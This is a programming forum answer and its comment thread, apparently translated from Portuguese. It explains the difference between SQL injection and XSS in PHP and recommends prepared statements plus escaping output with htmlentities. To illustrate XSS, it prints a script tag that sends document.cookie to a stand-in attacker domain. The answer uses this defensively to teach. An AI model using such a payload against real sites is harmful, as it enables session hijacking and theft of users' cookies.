XSS is one thing and SQL-Injection is another totally different, although both can (always) originate from the same source:
SQL-Injection
It occurs if the user can manipulate or break the query. When we use bindValue
and bindParam
, the native Apis themselves already "treats" That. I recommend you read this other answer of mine:
XSS
It is the code injection that will be displayed later on the page. This can occur with bindParam
because it is not an SQL problem. Any storage medium that shows the data on the page later may suffer from this failure, for example: instead of saving the data in a database, the site saved in a . txt:
save php.
file_put_contents('mural.txt', $_POST['mensagem'], FILE_APPEND);
And when it came time to display the.txt mural, just do this:
view.php
echo file_get_contents('mural.txt');
Anything that was sent on $_POST['mensagem']
, will be displayed directly, even HTML, JS and CSS that were created by the sender. In this, data exploitation can occur, such as reading and hijacking cookies if the JS sent does something like:
<script>
var q = document.createElement('script');
q.src = "http://www.sitequevaisequestraroscookies.com/pagina?cookies=" + encodeURI(document.cookie);
document.body.appendChild(q);
</script>
It’s an example code just to understand how it occurs.
Completion
I believe that bindParam
and bindValue
already solves SQL-Injection, but XSS you can solve otherwise. People talk to do things like:
$preparedQuery->bindValue($key, htmlentities($_POST['mensagem']));
Or:
$preparedQuery->bindValue($key, strip_tags($_POST['mensagem']));
Yes, they are things that work, but there is a problem, not of security, but of breaking the data. I personally am in favor of saving the data the way it came, just trying to avoid SQL-Injection, and XSS should be solved when displaying the data and not when recording. This is because it is very common to occur loss of characters and things like that, which can make the database data become "broken" and impossible to recover.
I won’t go into detail, it’s not really the fault of strip_tags
or htmlentities
. What happens is that people often migrate the data or change the pages/systems and etc and in these maintenances things can get lost. Outside that if the data is reused in a system "nonweb" may occur to get like this in the GUI:
<p>olá</p>
Imagine that your system has tutorials about HTML or other languages. You may lose formatting. Many forum systems like IP.Board (which I used at one time) lost a lot of data as upgrades to new versions.
In other words, it’s severe the way it came and does the treatment when it comes to showing off:
while ($row = $q->fetch(PDO::FETCH_ASSOC)) {
echo 'Nome: ', htmlentities($row['nome']), '<br>',
'mensagem: ', htmlentities($row['mensagem']), '<hr>';
}
Of course if you want to use strip_tags
and it is your goal not to talk about codes anywhere on the site, you can use at the time of recording. But think about it: if it’s a call system from which you need to pass to another analyst a code that has HTML snippets or something like that, when clearing the string the message will lose its meaning, then replacing the HTML characters with entities would be more suitable for the situation.
Hi Alan, I’ve been noticing that you have marked one of the answers as correct in your question https://answall.com/q/197797/3635, but I need to tell you both answers are totally wrong, The first one you checked is a very unnecessary gambiarra and the other one answers about something that has nothing to do with SQL-Injection. I recommend reading this: https://answall.com/a/188306/3635. See you later.
– Guilherme Nascimento
@Guilhermenascimento in that question my problem is with the following code snippet: "foreach ($_POST as $key => $value) $$$key = $value;" This piece of code is pointed out as "Code Injection" the values of the received variables are passed to that my method up here q deals with prepare. But according to what I can understand is that I have to handle all the input data. I don’t know yet what is the best way to do. So I thought that one was right!
– alan
the
$_POST
inside of foreach or not it is the same situation of https://answall.com/a/188306/3635, you can even use the foreach, but prefer to use it together with bindParam, your question this good, the problem there are the answers of Carlos and Gustavo that teach wrong.– Guilherme Nascimento
My problem is that I have a system security analysis document made by "https://www.t-systems-mms.com/" where several security failures are pointed out with the type of failure and the level. Also shown are lines q contain faults and highlighted in red the section that has faults. in the excerpt: "foreach ($_POST as $key => $value) $$key = $value;" I have the various $_POST and $value marked in red and the complete excerpt marked "Code Injection". I’m not sure but I believe that this automatic creation of variables can generate the execution of external code.
– alan
Turns out in this code of yours, you’re not validating absolutely nothing is simply building the query. Moreover, the bindValue is something quite right.
– Edilson
But the "->prepare($query)" method should not be valid for my query?
– alan
@As I said, when it comes to XSS you can treat when displaying, I see no need to treat when saving, but if you still want to do this:
foreach ($params as $key => $value) {
 $preparedQuery->bindValue($key, strip_tags($value));
 }
– Guilherme Nascimento